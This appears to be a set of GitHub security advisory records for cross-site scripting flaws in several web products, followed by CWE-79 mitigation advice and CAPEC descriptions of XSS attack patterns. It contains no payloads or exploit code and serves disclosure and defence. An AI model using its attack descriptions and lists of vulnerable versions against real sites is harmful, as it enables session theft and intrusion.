"published": "2022-05-24T16:51:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14350"
},
{
"type": "WEB",
"url": "https://github.com/espocrm/espocrm/issues/1356"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQR2-VWCJ-G935
Vulnerability from github – Published: 2022-04-21 01:54 – Updated: 2024-04-03 23:04{
"affected": [],
"aliases": [
"CVE-2009-4900"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-28T15:15:00Z",
"severity": "MODERATE"
},
"details": "pixelpost 1.7.1-5 has XSS",
"id": "GHSA-rqr2-vwcj-g935",
"modified": "2024-04-03T23:04:10Z",
"published": "2022-04-21T01:54:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4900"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2009-4900"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=597224"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2009-4900"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQR5-PR22-2CXJ
Vulnerability from github – Published: 2022-05-13 01:10 – Updated: 2022-05-13 01:10Zoho ManageEngine OpManager 12.3 before build 123214 has XSS.
{
"affected": [],
"aliases": [
"CVE-2018-18262"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-17T14:29:00Z",
"severity": "MODERATE"
},
"details": "Zoho ManageEngine OpManager 12.3 before build 123214 has XSS.",
"id": "GHSA-rqr5-pr22-2cxj",
"modified": "2022-05-13T01:10:24Z",
"published": "2022-05-13T01:10:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18262"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Oct/34"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RQR7-RCFX-2VQW
Vulnerability from github – Published: 2026-03-07 03:30 – Updated: 2026-03-07 03:30The CM Custom Reports plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'date_from' and 'date_to' parameters in all versions up to, and including, 1.2.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2026-2431"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-07T02:16:12Z",
"severity": "MODERATE"
},
"details": "The CM Custom Reports plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u0027date_from\u0027 and \u0027date_to\u0027 parameters in all versions up to, and including, 1.2.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.",
"id": "GHSA-rqr7-rcfx-2vqw",
"modified": "2026-03-07T03:30:27Z",
"published": "2026-03-07T03:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2431"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/cm-custom-reports/tags/1.2.7/backend/reports/RegisteredUsersReport.php#L19"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/cm-custom-reports/trunk/backend/reports/RegisteredUsersReport.php#L19"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e9b918e1-9bf7-4f90-9e77-829bc8012cbb?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.